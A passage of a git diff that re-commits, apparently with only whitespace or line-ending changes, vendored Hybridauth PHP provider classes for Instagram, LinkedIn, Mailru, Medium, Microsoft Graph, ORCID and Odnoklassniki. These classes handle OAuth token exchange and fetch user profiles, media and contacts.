Facebook/Instagram documentation is not very helpful at explaining that! + */ + $exchangeTokenParameters = [ + 'grant_type' => 'ig_refresh_token', + 'client_secret' => $this->clientSecret, + 'access_token' => $this->getStoredData('access_token'), + ]; + $url = 'https://graph.instagram.com/refresh_access_token'; + } else { + // Exchange short-lived to long-lived + $exchangeTokenParameters = [ + 'grant_type' => 'ig_exchange_token', + 'client_secret' => $this->clientSecret, + 'access_token' => $this->getStoredData('access_token'), + ]; + $url = 'https://graph.instagram.com/access_token'; + } + + $response = $this->httpClient->request( + $url, + 'GET', + $exchangeTokenParameters + ); + + $this->validateApiResponse('Unable to exchange the access token'); + + $this->validateAccessTokenExchange($response); + + return $response; + } + + /** + * {@inheritdoc} + */ + public function getUserProfile() + { + $response = $this->apiRequest('me', 'GET', [ + 'fields' => 'id,username,account_type,media_count', + ]); + + $data = new Collection($response); + if (!$data->exists('id')) { + throw new UnexpectedApiResponseException('Provider API returned an unexpected response.'); + } + + $userProfile = new User\Profile(); + $userProfile->identifier = $data->get('id'); + $userProfile->displayName = $data->get('username'); + $userProfile->profileURL = "https://instagram.com/{$userProfile->displayName}"; + $userProfile->data = [ + 'account_type' => $data->get('account_type'), + 'media_count' => $data->get('media_count'), + ]; + + return $userProfile; + } + + /** + * Fetch user medias. + * + * @param int $limit Number of elements per page. + * @param string $pageId Current pager ID. + * @param array|null $fields Fields to fetch per media. + * + * @return \Hybridauth\Data\Collection + * + * @throws \Hybridauth\Exception\HttpClientFailureException + * @throws \Hybridauth\Exception\HttpRequestFailedException + * @throws \Hybridauth\Exception\InvalidAccessTokenException + * @throws \Hybridauth\Exception\UnexpectedApiResponseException + */ + public function getUserMedia($limit = 12, $pageId = null, array $fields = null) + { + if (empty($fields)) { + $fields = [ + 'id', + 'caption', + 'media_type', + 'media_url', + 'thumbnail_url', + 'permalink', + 'timestamp', + 'username', + ]; + } + + $params = [ + 'fields' => implode(',', $fields), + 'limit' => $limit, + ]; + if ($pageId !== null) { + $params['after'] = $pageId; + } + + $response = $this->apiRequest('me/media', 'GET', $params); + + $data = new Collection($response); + if (!$data->exists('data')) { + throw new UnexpectedApiResponseException('Provider API returned an unexpected response.'); + } + + return $data; + } + + /** + * Fetches a single user's media. + * + * @param string $mediaId Media ID. + * @param array|null $fields Fields to fetch per media. + * + * @return \Hybridauth\Data\Collection + * + * @throws \Hybridauth\Exception\HttpClientFailureException + * @throws \Hybridauth\Exception\HttpRequestFailedException + * @throws \Hybridauth\Exception\InvalidAccessTokenException + * @throws \Hybridauth\Exception\UnexpectedApiResponseException + */ + public function getMedia($mediaId, array $fields = null) + { + if (empty($fields)) { + $fields = [ + 'id', + 'caption', + 'media_type', + 'media_url', + 'thumbnail_url', + 'permalink', + 'timestamp', + 'username', + ]; + } + + $response = $this->apiRequest($mediaId, 'GET', [ + 'fields' => implode(',', $fields), + ]); + + $data = new Collection($response); + if (!$data->exists('id')) { + throw new UnexpectedApiResponseException('Provider API returned an unexpected response.'); + } + + return $data; + } +} diff --git a/vendor/hybridauth/hybridauth/src/Provider/LinkedIn.php b/vendor/hybridauth/hybridauth/src/Provider/LinkedIn.php index fccd7e5d87..1165016f1b 100644 --- a/vendor/hybridauth/hybridauth/src/Provider/LinkedIn.php +++ b/vendor/hybridauth/hybridauth/src/Provider/LinkedIn.php @@ -1,200 +1,200 @@ -apiRequest('me', 'GET', ['projection' => '(' . implode(',', $fields) . ')']); - $data = new Data\Collection($response); - - if (!$data->exists('id')) { - throw new UnexpectedApiResponseException('Provider API returned an unexpected response.'); - } - - $userProfile = new User\Profile(); - - // Handle localized names. - $userProfile->firstName = $data - ->filter('firstName') - ->filter('localized') - ->get($this->getPreferredLocale($data, 'firstName')); - - $userProfile->lastName = $data - ->filter('lastName') - ->filter('localized') - ->get($this->getPreferredLocale($data, 'lastName')); - - $userProfile->identifier = $data->get('id'); - $userProfile->email = $this->getUserEmail(); - $userProfile->emailVerified = $userProfile->email; - $userProfile->displayName = trim($userProfile->firstName . ' ' . $userProfile->lastName); - - $photo_elements = $data - ->filter('profilePicture') - ->filter('displayImage~') - ->get('elements'); - $userProfile->photoURL = $this->getUserPhotoUrl($photo_elements); - - return $userProfile; - } - - /** - * Returns a user photo. - * - * @param array $elements - * List of file identifiers related to this artifact. - * - * @return string - * The user photo URL. - * - * @see https://docs.microsoft.com/en-us/linkedin/shared/references/v2/profile/profile-picture - */ - public function getUserPhotoUrl($elements) - { - if (is_array($elements)) { - // Get the largest picture from the list which is the last one. - $element = end($elements); - if (!empty($element->identifiers)) { - return reset($element->identifiers)->identifier; - } - } - - return null; - } - - /** - * Returns an email address of user. - * - * @return string - * The user email address. - * - * @throws \Exception - */ - public function getUserEmail() - { - $response = $this->apiRequest('emailAddress', 'GET', [ - 'q' => 'members', - 'projection' => '(elements*(handle~))', - ]); - $data = new Data\Collection($response); - - foreach ($data->filter('elements')->toArray() as $element) { - $item = new Data\Collection($element); - - if ($email = $item->filter('handle~')->get('emailAddress')) { - return $email; - } - } - - return null; - } - - /** - * {@inheritdoc} - * - * @see https://docs.microsoft.com/en-us/linkedin/consumer/integrations/self-serve/share-on-linkedin - */ - public function setUserStatus($status, $userID = null) - { - if (is_string($status)) { - $status = [ - 'author' => 'urn:li:person:' . $userID, - 'lifecycleState' => 'PUBLISHED', - 'specificContent' => [ - 'com.linkedin.ugc.ShareContent' => [ - 'shareCommentary' => [ - 'text' => $status, - ], - 'shareMediaCategory' => 'NONE', - ], - ], - 'visibility' => [ - 'com.linkedin.ugc.MemberNetworkVisibility' => 'PUBLIC', - ], - ]; - } - - - $headers = [ - 'Content-Type' => 'application/json', - 'x-li-format' => 'json', - 'X-Restli-Protocol-Version' => '2.0.0', - ]; - - $response = $this->apiRequest("ugcPosts", 'POST', $status, $headers); - - return $response; - } - - /** - * Returns a preferred locale for given field. - * - * @param \Hybridauth\Data\Collection $data - * A data to check. - * @param string $field_name - * A field name to perform. - * - * @return string - * A field locale. - */ - protected function getPreferredLocale($data, $field_name) - { - $locale = $data->filter($field_name)->filter('preferredLocale'); - if ($locale) { - return $locale->get('language') . '_' . $locale->get('country'); - } - - return 'en_US'; - } -} +apiRequest('me', 'GET', ['projection' => '(' . implode(',', $fields) . ')']); + $data = new Data\Collection($response); + + if (!$data->exists('id')) { + throw new UnexpectedApiResponseException('Provider API returned an unexpected response.'); + } + + $userProfile = new User\Profile(); + + // Handle localized names. + $userProfile->firstName = $data + ->filter('firstName') + ->filter('localized') + ->get($this->getPreferredLocale($data, 'firstName')); + + $userProfile->lastName = $data + ->filter('lastName') + ->filter('localized') + ->get($this->getPreferredLocale($data, 'lastName')); + + $userProfile->identifier = $data->get('id'); + $userProfile->email = $this->getUserEmail(); + $userProfile->emailVerified = $userProfile->email; + $userProfile->displayName = trim($userProfile->firstName . ' ' . $userProfile->lastName); + + $photo_elements = $data + ->filter('profilePicture') + ->filter('displayImage~') + ->get('elements'); + $userProfile->photoURL = $this->getUserPhotoUrl($photo_elements); + + return $userProfile; + } + + /** + * Returns a user photo. + * + * @param array $elements + * List of file identifiers related to this artifact. + * + * @return string + * The user photo URL. + * + * @see https://docs.microsoft.com/en-us/linkedin/shared/references/v2/profile/profile-picture + */ + public function getUserPhotoUrl($elements) + { + if (is_array($elements)) { + // Get the largest picture from the list which is the last one. + $element = end($elements); + if (!empty($element->identifiers)) { + return reset($element->identifiers)->identifier; + } + } + + return null; + } + + /** + * Returns an email address of user. + * + * @return string + * The user email address. + * + * @throws \Exception + */ + public function getUserEmail() + { + $response = $this->apiRequest('emailAddress', 'GET', [ + 'q' => 'members', + 'projection' => '(elements*(handle~))', + ]); + $data = new Data\Collection($response); + + foreach ($data->filter('elements')->toArray() as $element) { + $item = new Data\Collection($element); + + if ($email = $item->filter('handle~')->get('emailAddress')) { + return $email; + } + } + + return null; + } + + /** + * {@inheritdoc} + * + * @see https://docs.microsoft.com/en-us/linkedin/consumer/integrations/self-serve/share-on-linkedin + */ + public function setUserStatus($status, $userID = null) + { + if (is_string($status)) { + $status = [ + 'author' => 'urn:li:person:' . $userID, + 'lifecycleState' => 'PUBLISHED', + 'specificContent' => [ + 'com.linkedin.ugc.ShareContent' => [ + 'shareCommentary' => [ + 'text' => $status, + ], + 'shareMediaCategory' => 'NONE', + ], + ], + 'visibility' => [ + 'com.linkedin.ugc.MemberNetworkVisibility' => 'PUBLIC', + ], + ]; + } + + + $headers = [ + 'Content-Type' => 'application/json', + 'x-li-format' => 'json', + 'X-Restli-Protocol-Version' => '2.0.0', + ]; + + $response = $this->apiRequest("ugcPosts", 'POST', $status, $headers); + + return $response; + } + + /** + * Returns a preferred locale for given field. + * + * @param \Hybridauth\Data\Collection $data + * A data to check. + * @param string $field_name + * A field name to perform. + * + * @return string + * A field locale. + */ + protected function getPreferredLocale($data, $field_name) + { + $locale = $data->filter($field_name)->filter('preferredLocale'); + if ($locale) { + return $locale->get('language') . '_' . $locale->get('country'); + } + + return 'en_US'; + } +} diff --git a/vendor/hybridauth/hybridauth/src/Provider/Mailru.php b/vendor/hybridauth/hybridauth/src/Provider/Mailru.php index de8a4d690b..f2e4e53bfc 100644 --- a/vendor/hybridauth/hybridauth/src/Provider/Mailru.php +++ b/vendor/hybridauth/hybridauth/src/Provider/Mailru.php @@ -1,83 +1,83 @@ - $this->clientId, - 'method' => 'users.getInfo', - 'secure' => 1, - 'session_key' => $this->getStoredData('access_token'), - ]; - $sign = md5(http_build_query($params, null, '') . $this->clientSecret); - - $param = [ - 'app_id' => $this->clientId, - 'method' => 'users.getInfo', - 'secure' => 1, - 'session_key' => $this->getStoredData('access_token'), - 'sig' => $sign, - ]; - - $response = $this->apiRequest('', 'GET', $param); - - $data = new Collection($response[0]); - - if (!$data->exists('uid')) { - throw new UnexpectedApiResponseException('Provider API returned an unexpected response.'); - } - - $userProfile = new Profile(); - - $userProfile->identifier = $data->get('uid'); - $userProfile->email = $data->get('email'); - $userProfile->firstName = $data->get('first_name'); - $userProfile->lastName = $data->get('last_name'); - $userProfile->displayName = $data->get('nick'); - $userProfile->photoURL = $data->get('pic'); - $userProfile->profileURL = $data->get('link'); - $userProfile->gender = $data->get('sex'); - $userProfile->age = $data->get('age'); - - return $userProfile; - } -} + $this->clientId, + 'method' => 'users.getInfo', + 'secure' => 1, + 'session_key' => $this->getStoredData('access_token'), + ]; + $sign = md5(http_build_query($params, null, '') . $this->clientSecret); + + $param = [ + 'app_id' => $this->clientId, + 'method' => 'users.getInfo', + 'secure' => 1, + 'session_key' => $this->getStoredData('access_token'), + 'sig' => $sign, + ]; + + $response = $this->apiRequest('', 'GET', $param); + + $data = new Collection($response[0]); + + if (!$data->exists('uid')) { + throw new UnexpectedApiResponseException('Provider API returned an unexpected response.'); + } + + $userProfile = new Profile(); + + $userProfile->identifier = $data->get('uid'); + $userProfile->email = $data->get('email'); + $userProfile->firstName = $data->get('first_name'); + $userProfile->lastName = $data->get('last_name'); + $userProfile->displayName = $data->get('nick'); + $userProfile->photoURL = $data->get('pic'); + $userProfile->profileURL = $data->get('link'); + $userProfile->gender = $data->get('sex'); + $userProfile->age = $data->get('age'); + + return $userProfile; + } +} diff --git a/vendor/hybridauth/hybridauth/src/Provider/Medium.php b/vendor/hybridauth/hybridauth/src/Provider/Medium.php index 7391d72adb..464709f7d9 100644 --- a/vendor/hybridauth/hybridauth/src/Provider/Medium.php +++ b/vendor/hybridauth/hybridauth/src/Provider/Medium.php @@ -1,88 +1,88 @@ -isRefreshTokenAvailable()) { - $this->tokenRefreshParameters += [ - 'client_id' => $this->clientId, - 'client_secret' => $this->clientSecret, - ]; - } - } - - /** - * {@inheritdoc} - * - * See: https://github.com/Medium/medium-api-docs#getting-the-authenticated-users-details - */ - public function getUserProfile() - { - $response = $this->apiRequest('me'); - - $data = new Data\Collection($response); - - $userProfile = new User\Profile(); - $data = $data->filter('data'); - - $full_name = explode(' ', $data->get('name')); - if (count($full_name) < 2) { - $full_name[1] = ''; - } - - $userProfile->identifier = $data->get('id'); - $userProfile->displayName = $data->get('username'); - $userProfile->profileURL = $data->get('imageUrl'); - $userProfile->firstName = $full_name[0]; - $userProfile->lastName = $full_name[1]; - $userProfile->profileURL = $data->get('url'); - - return $userProfile; - } -} +isRefreshTokenAvailable()) { + $this->tokenRefreshParameters += [ + 'client_id' => $this->clientId, + 'client_secret' => $this->clientSecret, + ]; + } + } + + /** + * {@inheritdoc} + * + * See: https://github.com/Medium/medium-api-docs#getting-the-authenticated-users-details + */ + public function getUserProfile() + { + $response = $this->apiRequest('me'); + + $data = new Data\Collection($response); + + $userProfile = new User\Profile(); + $data = $data->filter('data'); + + $full_name = explode(' ', $data->get('name')); + if (count($full_name) < 2) { + $full_name[1] = ''; + } + + $userProfile->identifier = $data->get('id'); + $userProfile->displayName = $data->get('username'); + $userProfile->profileURL = $data->get('imageUrl'); + $userProfile->firstName = $full_name[0]; + $userProfile->lastName = $full_name[1]; + $userProfile->profileURL = $data->get('url'); + + return $userProfile; + } +} diff --git a/vendor/hybridauth/hybridauth/src/Provider/MicrosoftGraph.php b/vendor/hybridauth/hybridauth/src/Provider/MicrosoftGraph.php index b62c201b93..074fff0a34 100644 --- a/vendor/hybridauth/hybridauth/src/Provider/MicrosoftGraph.php +++ b/vendor/hybridauth/hybridauth/src/Provider/MicrosoftGraph.php @@ -1,169 +1,169 @@ - Hybridauth\HttpClient\Util::getCurrentUrl(), - * 'keys' => ['id' => '', 'secret' => ''], - * 'tenant' => 'user', - * // ^ May be 'common', 'organizations' or 'consumers' or a specific tenant ID or a domain - * ]; - * - * $adapter = new Hybridauth\Provider\MicrosoftGraph($config); - * - * try { - * $adapter->authenticate(); - * - * $userProfile = $adapter->getUserProfile(); - * $tokens = $adapter->getAccessToken(); - * } catch (\Exception $e) { - * echo $e->getMessage() ; - * } - */ -class MicrosoftGraph extends OAuth2 -{ - /** - * {@inheritdoc} - */ - protected $scope = 'openid user.read contacts.read'; - - /** - * {@inheritdoc} - */ - protected $apiBaseUrl = 'https://graph.microsoft.com/v1.0/'; - - /** - * {@inheritdoc} - */ - protected $authorizeUrl = 'https://login.microsoftonline.com/common/oauth2/v2.0/authorize'; - - /** - * {@inheritdoc} - */ - protected $accessTokenUrl = 'https://login.microsoftonline.com/common/oauth2/v2.0/token'; - - /** - * {@inheritdoc} - */ - protected $apiDocumentation = 'https://developer.microsoft.com/en-us/graph/docs/concepts/php'; - - /** - * {@inheritdoc} - */ - protected function initialize() - { - parent::initialize(); - - $tenant = $this->config->get('tenant'); - if (!empty($tenant)) { - $adjustedEndpoints = [ - 'authorize_url' => str_replace('/common/', '/' . $tenant . '/', $this->authorizeUrl), - 'access_token_url' => str_replace('/common/', '/' . $tenant . '/', $this->accessTokenUrl), - ]; - - $this->setApiEndpoints($adjustedEndpoints); - } - } - - /** - * {@inheritdoc} - */ - public function getUserProfile() - { - $response = $this->apiRequest('me'); - - $data = new Data\Collection($response); - - if (!$data->exists('id')) { - throw new UnexpectedApiResponseException('Provider API returned an unexpected response.'); - } - - $userProfile = new User\Profile(); - - $userProfile->identifier = $data->get('id'); - $userProfile->displayName = $data->get('displayName'); - $userProfile->firstName = $data->get('givenName'); - $userProfile->lastName = $data->get('surname'); - $userProfile->language = $data->get('preferredLanguage'); - - $userProfile->phone = $data->get('mobilePhone'); - if (empty($userProfile->phone)) { - $businessPhones = $data->get('businessPhones'); - if (isset($businessPhones[0])) { - $userProfile->phone = $businessPhones[0]; - } - } - - $userProfile->email = $data->get('mail'); - if (empty($userProfile->email)) { - $email = $data->get('userPrincipalName'); - if (strpos($email, '@') !== false) { - $userProfile->email = $email; - } - } - - return $userProfile; - } - - /** - * {@inheritdoc} - */ - public function getUserContacts() - { - $apiUrl = 'me/contacts?$top=50'; - $contacts = []; - - do { - $response = $this->apiRequest($apiUrl); - $data = new Data\Collection($response); - if (!$data->exists('value')) { - throw new UnexpectedApiResponseException('Provider API returned an unexpected response.'); - } - foreach ($data->filter('value')->toArray() as $entry) { - $entry = new Data\Collection($entry); - $userContact = new User\Contact(); - $userContact->identifier = $entry->get('id'); - $userContact->displayName = $entry->get('displayName'); - $emailAddresses = $entry->get('emailAddresses'); - if (!empty($emailAddresses)) { - $userContact->email = $emailAddresses[0]->address; - } - // only add to collection if we have usefull data - if (!empty($userContact->displayName) || !empty($userContact->email)) { - $contacts[] = $userContact; - } - } - - if ($data->exists('@odata.nextLink')) { - $apiUrl = $data->get('@odata.nextLink'); - - $pagedList = true; - } else { - $pagedList = false; - } - } while ($pagedList); - - return $contacts; - } -} + Hybridauth\HttpClient\Util::getCurrentUrl(), + * 'keys' => ['id' => '', 'secret' => ''], + * 'tenant' => 'user', + * // ^ May be 'common', 'organizations' or 'consumers' or a specific tenant ID or a domain + * ]; + * + * $adapter = new Hybridauth\Provider\MicrosoftGraph($config); + * + * try { + * $adapter->authenticate(); + * + * $userProfile = $adapter->getUserProfile(); + * $tokens = $adapter->getAccessToken(); + * } catch (\Exception $e) { + * echo $e->getMessage() ; + * } + */ +class MicrosoftGraph extends OAuth2 +{ + /** + * {@inheritdoc} + */ + protected $scope = 'openid user.read contacts.read'; + + /** + * {@inheritdoc} + */ + protected $apiBaseUrl = 'https://graph.microsoft.com/v1.0/'; + + /** + * {@inheritdoc} + */ + protected $authorizeUrl = 'https://login.microsoftonline.com/common/oauth2/v2.0/authorize'; + + /** + * {@inheritdoc} + */ + protected $accessTokenUrl = 'https://login.microsoftonline.com/common/oauth2/v2.0/token'; + + /** + * {@inheritdoc} + */ + protected $apiDocumentation = 'https://developer.microsoft.com/en-us/graph/docs/concepts/php'; + + /** + * {@inheritdoc} + */ + protected function initialize() + { + parent::initialize(); + + $tenant = $this->config->get('tenant'); + if (!empty($tenant)) { + $adjustedEndpoints = [ + 'authorize_url' => str_replace('/common/', '/' . $tenant . '/', $this->authorizeUrl), + 'access_token_url' => str_replace('/common/', '/' . $tenant . '/', $this->accessTokenUrl), + ]; + + $this->setApiEndpoints($adjustedEndpoints); + } + } + + /** + * {@inheritdoc} + */ + public function getUserProfile() + { + $response = $this->apiRequest('me'); + + $data = new Data\Collection($response); + + if (!$data->exists('id')) { + throw new UnexpectedApiResponseException('Provider API returned an unexpected response.'); + } + + $userProfile = new User\Profile(); + + $userProfile->identifier = $data->get('id'); + $userProfile->displayName = $data->get('displayName'); + $userProfile->firstName = $data->get('givenName'); + $userProfile->lastName = $data->get('surname'); + $userProfile->language = $data->get('preferredLanguage'); + + $userProfile->phone = $data->get('mobilePhone'); + if (empty($userProfile->phone)) { + $businessPhones = $data->get('businessPhones'); + if (isset($businessPhones[0])) { + $userProfile->phone = $businessPhones[0]; + } + } + + $userProfile->email = $data->get('mail'); + if (empty($userProfile->email)) { + $email = $data->get('userPrincipalName'); + if (strpos($email, '@') !== false) { + $userProfile->email = $email; + } + } + + return $userProfile; + } + + /** + * {@inheritdoc} + */ + public function getUserContacts() + { + $apiUrl = 'me/contacts?$top=50'; + $contacts = []; + + do { + $response = $this->apiRequest($apiUrl); + $data = new Data\Collection($response); + if (!$data->exists('value')) { + throw new UnexpectedApiResponseException('Provider API returned an unexpected response.'); + } + foreach ($data->filter('value')->toArray() as $entry) { + $entry = new Data\Collection($entry); + $userContact = new User\Contact(); + $userContact->identifier = $entry->get('id'); + $userContact->displayName = $entry->get('displayName'); + $emailAddresses = $entry->get('emailAddresses'); + if (!empty($emailAddresses)) { + $userContact->email = $emailAddresses[0]->address; + } + // only add to collection if we have usefull data + if (!empty($userContact->displayName) || !empty($userContact->email)) { + $contacts[] = $userContact; + } + } + + if ($data->exists('@odata.nextLink')) { + $apiUrl = $data->get('@odata.nextLink'); + + $pagedList = true; + } else { + $pagedList = false; + } + } while ($pagedList); + + return $contacts; + } +} diff --git a/vendor/hybridauth/hybridauth/src/Provider/ORCID.php b/vendor/hybridauth/hybridauth/src/Provider/ORCID.php index 65b52e2a62..78878e68c8 100644 --- a/vendor/hybridauth/hybridauth/src/Provider/ORCID.php +++ b/vendor/hybridauth/hybridauth/src/Provider/ORCID.php @@ -1,242 +1,242 @@ -storeData('orcid', $data->get('orcid')); - return $data; - } - - /** - * {@inheritdoc} - */ - public function getUserProfile() - { - $response = $this->apiRequest($this->getStoredData('orcid') . '/record'); - $data = new Data\Collection($response['record']); - - if (!$data->exists('orcid-identifier')) { - throw new UnexpectedApiResponseException('Provider API returned an unexpected response.'); - } - - $profile = new User\Profile(); - - $profile = $this->getDetails($profile, $data); - $profile = $this->getBiography($profile, $data); - $profile = $this->getWebsite($profile, $data); - $profile = $this->getName($profile, $data); - $profile = $this->getEmail($profile, $data); - $profile = $this->getLanguage($profile, $data); - $profile = $this->getAddress($profile, $data); - - return $profile; - } - - /** - * Get profile details. - * - * @param User\Profile $profile - * @param Data\Collection $data - * - * @return User\Profile - */ - protected function getDetails(User\Profile $profile, Data\Collection $data) - { - $data = new Data\Collection($data->get('orcid-identifier')); - - $profile->identifier = $data->get('path'); - $profile->profileURL = $data->get('uri'); - - return $profile; - } - - /** - * Get profile biography. - * - * @param User\Profile $profile - * @param Data\Collection $data - * - * @return User\Profile - */ - protected function getBiography(User\Profile $profile, Data\Collection $data) - { - $data = new Data\Collection($data->get('person')); - $data = new Data\Collection($data->get('biography')); - - $profile->description = $data->get('content'); - - return $profile; - } - - /** - * Get profile website. - * - * @param User\Profile $profile - * @param Data\Collection $data - * - * @return User\Profile - */ - protected function getWebsite(User\Profile $profile, Data\Collection $data) - { - $data = new Data\Collection($data->get('person')); - $data = new Data\Collection($data->get('researcher-urls')); - $data = new Data\Collection($data->get('researcher-url')); - - if ($data->exists(0)) { - $data = new Data\Collection($data->get(0)); - } - - $profile->webSiteURL = $data->get('url'); - - return $profile; - } - - /** - * Get profile name. - * - * @param User\Profile $profile - * @param Data\Collection $data - * - * @return User\Profile - */ - protected function getName(User\Profile $profile, Data\Collection $data) - { - $data = new Data\Collection($data->get('person')); - $data = new Data\Collection($data->get('name')); - - if ($data->exists('credit-name')) { - $profile->displayName = $data->get('credit-name'); - } else { - $profile->displayName = $data->get('given-names') . ' ' . $data->get('family-name'); - } - - $profile->firstName = $data->get('given-names'); - $profile->lastName = $data->get('family-name'); - - return $profile; - } - - /** - * Get profile email. - * - * @param User\Profile $profile - * @param Data\Collection $data - * - * @return User\Profile - */ - protected function getEmail(User\Profile $profile, Data\Collection $data) - { - $data = new Data\Collection($data->get('person')); - $data = new Data\Collection($data->get('emails')); - $data = new Data\Collection($data->get('email')); - - if (!$data->exists(0)) { - $email = $data; - } else { - $email = new Data\Collection($data->get(0)); - - $i = 1; - while ($email->get('@attributes')['primary'] == 'false') { - $email = new Data\Collection($data->get($i)); - $i++; - } - } - - if ($email->get('@attributes')['primary'] == 'false') { - return $profile; - } - - $profile->email = $email->get('email'); - - if ($email->get('@attributes')['verified'] == 'true') { - $profile->emailVerified = $email->get('email'); - } - - return $profile; - } - - /** - * Get profile language. - * - * @param User\Profile $profile - * @param Data\Collection $data - * - * @return User\Profile - */ - protected function getLanguage(User\Profile $profile, Data\Collection $data) - { - $data = new Data\Collection($data->get('preferences')); - - $profile->language = $data->get('locale'); - - return $profile; - } - - /** - * Get profile address. - * - * @param User\Profile $profile - * @param Data\Collection $data - * - * @return User\Profile - */ - protected function getAddress(User\Profile $profile, Data\Collection $data) - { - $data = new Data\Collection($data->get('person')); - $data = new Data\Collection($data->get('addresses')); - $data = new Data\Collection($data->get('address')); - - if ($data->exists(0)) { - $data = new Data\Collection($data->get(0)); - } - - $profile->country = $data->get('country'); - - return $profile; - } -} +storeData('orcid', $data->get('orcid')); + return $data; + } + + /** + * {@inheritdoc} + */ + public function getUserProfile() + { + $response = $this->apiRequest($this->getStoredData('orcid') . '/record'); + $data = new Data\Collection($response['record']); + + if (!$data->exists('orcid-identifier')) { + throw new UnexpectedApiResponseException('Provider API returned an unexpected response.'); + } + + $profile = new User\Profile(); + + $profile = $this->getDetails($profile, $data); + $profile = $this->getBiography($profile, $data); + $profile = $this->getWebsite($profile, $data); + $profile = $this->getName($profile, $data); + $profile = $this->getEmail($profile, $data); + $profile = $this->getLanguage($profile, $data); + $profile = $this->getAddress($profile, $data); + + return $profile; + } + + /** + * Get profile details. + * + * @param User\Profile $profile + * @param Data\Collection $data + * + * @return User\Profile + */ + protected function getDetails(User\Profile $profile, Data\Collection $data) + { + $data = new Data\Collection($data->get('orcid-identifier')); + + $profile->identifier = $data->get('path'); + $profile->profileURL = $data->get('uri'); + + return $profile; + } + + /** + * Get profile biography. + * + * @param User\Profile $profile + * @param Data\Collection $data + * + * @return User\Profile + */ + protected function getBiography(User\Profile $profile, Data\Collection $data) + { + $data = new Data\Collection($data->get('person')); + $data = new Data\Collection($data->get('biography')); + + $profile->description = $data->get('content'); + + return $profile; + } + + /** + * Get profile website. + * + * @param User\Profile $profile + * @param Data\Collection $data + * + * @return User\Profile + */ + protected function getWebsite(User\Profile $profile, Data\Collection $data) + { + $data = new Data\Collection($data->get('person')); + $data = new Data\Collection($data->get('researcher-urls')); + $data = new Data\Collection($data->get('researcher-url')); + + if ($data->exists(0)) { + $data = new Data\Collection($data->get(0)); + } + + $profile->webSiteURL = $data->get('url'); + + return $profile; + } + + /** + * Get profile name. + * + * @param User\Profile $profile + * @param Data\Collection $data + * + * @return User\Profile + */ + protected function getName(User\Profile $profile, Data\Collection $data) + { + $data = new Data\Collection($data->get('person')); + $data = new Data\Collection($data->get('name')); + + if ($data->exists('credit-name')) { + $profile->displayName = $data->get('credit-name'); + } else { + $profile->displayName = $data->get('given-names') . ' ' . $data->get('family-name'); + } + + $profile->firstName = $data->get('given-names'); + $profile->lastName = $data->get('family-name'); + + return $profile; + } + + /** + * Get profile email. + * + * @param User\Profile $profile + * @param Data\Collection $data + * + * @return User\Profile + */ + protected function getEmail(User\Profile $profile, Data\Collection $data) + { + $data = new Data\Collection($data->get('person')); + $data = new Data\Collection($data->get('emails')); + $data = new Data\Collection($data->get('email')); + + if (!$data->exists(0)) { + $email = $data; + } else { + $email = new Data\Collection($data->get(0)); + + $i = 1; + while ($email->get('@attributes')['primary'] == 'false') { + $email = new Data\Collection($data->get($i)); + $i++; + } + } + + if ($email->get('@attributes')['primary'] == 'false') { + return $profile; + } + + $profile->email = $email->get('email'); + + if ($email->get('@attributes')['verified'] == 'true') { + $profile->emailVerified = $email->get('email'); + } + + return $profile; + } + + /** + * Get profile language. + * + * @param User\Profile $profile + * @param Data\Collection $data + * + * @return User\Profile + */ + protected function getLanguage(User\Profile $profile, Data\Collection $data) + { + $data = new Data\Collection($data->get('preferences')); + + $profile->language = $data->get('locale'); + + return $profile; + } + + /** + * Get profile address. + * + * @param User\Profile $profile + * @param Data\Collection $data + * + * @return User\Profile + */ + protected function getAddress(User\Profile $profile, Data\Collection $data) + { + $data = new Data\Collection($data->get('person')); + $data = new Data\Collection($data->get('addresses')); + $data = new Data\Collection($data->get('address')); + + if ($data->exists(0)) { + $data = new Data\Collection($data->get(0)); + } + + $profile->country = $data->get('country'); + + return $profile; + } +} diff --git a/vendor/hybridauth/hybridauth/src/Provider/Odnoklassniki.php b/vendor/hybridauth/hybridauth/src/Provider/Odnoklassniki.php index e00ab9d187..14df298300 100644 --- a/vendor/hybridauth/hybridauth/src/Provider/Odnoklassniki.php +++ b/vendor/hybridauth/hybridauth/src/Provider/Odnoklassniki.php @@ -1,110 +1,110 @@ -isRefreshTokenAvailable()) { - $this->tokenRefreshParameters += [ - 'client_id' => $this->clientId, - 'client_secret' => $this->clientSecret - ]; - } - } - - /** - * {@inheritdoc} - */ - public function getUserProfile() - { - $fields = array( - 'uid', 'locale', 'first_name', 'last_name', 'name', 'gender', 'age', 'birthday', - 'has_email', 'current_status', 'current_status_id', 'current_status_date', 'online', - 'photo_id', 'pic_1', 'pic_2', 'pic1024x768', 'location', 'email' - ); - - $sig = md5( - 'application_key=' . $this->config->get('keys')['key'] . - 'fields=' . implode(',', $fields) . - 'method=users.getCurrentUser' . - md5($this->getStoredData('access_token') . $this->config->get('keys')['secret']) - ); - - $parameters = [ - 'access_token' => $this->getStoredData('access_token'), - 'application_key' => $this->config->get('keys')['key'], - 'method' => 'users.getCurrentUser', - 'fields' => implode(',', $fields), - 'sig' => $sig, - ]; - - $response = $this->apiRequest('fb.do', 'GET', $parameters); - - $data = new Data\Collection($response); - - if (!$data->exists('uid')) { - throw new UnexpectedApiResponseException('Provider API returned an unexpected response.'); - } - - $userProfile = new User\Profile(); - - - $userProfile->identifier = $data->get('uid'); - $userProfile->email = $data->get('email'); - $userProfile->firstName = $data->get('first_name'); - $userProfile->lastName = $data->get('last_name'); - $userProfile->displayName = $data->get('name'); - $userProfile->photoURL = $data->get('pic1024x768'); - $userProfile->profileURL = 'http://ok.ru/profile/' . $data->get('uid'); - - // Handle birthday. - if ($data->get('birthday')) { - $bday = explode('-', $data->get('birthday')); - $userProfile->birthDay = (int)$bday[0]; - $userProfile->birthMonth = (int)$bday[1]; - $userProfile->birthYear = (int)$bday[2]; - } - - return $userProfile; - } -} +isRefreshTokenAvailable()) { + $this->tokenRefreshParameters += [ + 'client_id' => $this->clientId, + 'client_secret' => $this->clientSecret + ]; + } + } + + /** + * {@inheritdoc} + */ + public function getUserProfile() + { + $fields = array( + 'uid', 'locale', 'first_name', 'last_name', 'name', 'gender', 'age', 'birthday', + 'has_email', 'current_status', 'current_status_id', 'current_status_date', 'online', + 'photo_id', 'pic_1', 'pic_2', 'pic1024x768', 'location', 'email' + ); + + $sig = md5( + 'application_key=' . $this->config->get('keys')['key'] . + 'fields=' . implode(',', $fields) . + 'method=users.getCurrentUser' . + md5($this->getStoredData('access_token') . $this->config->get('keys')['secret']) + ); + + $parameters = [ + 'access_token' => $this->getStoredData('access_token'), + 'application_key' => $this->config->get('keys')['key'], + 'method' 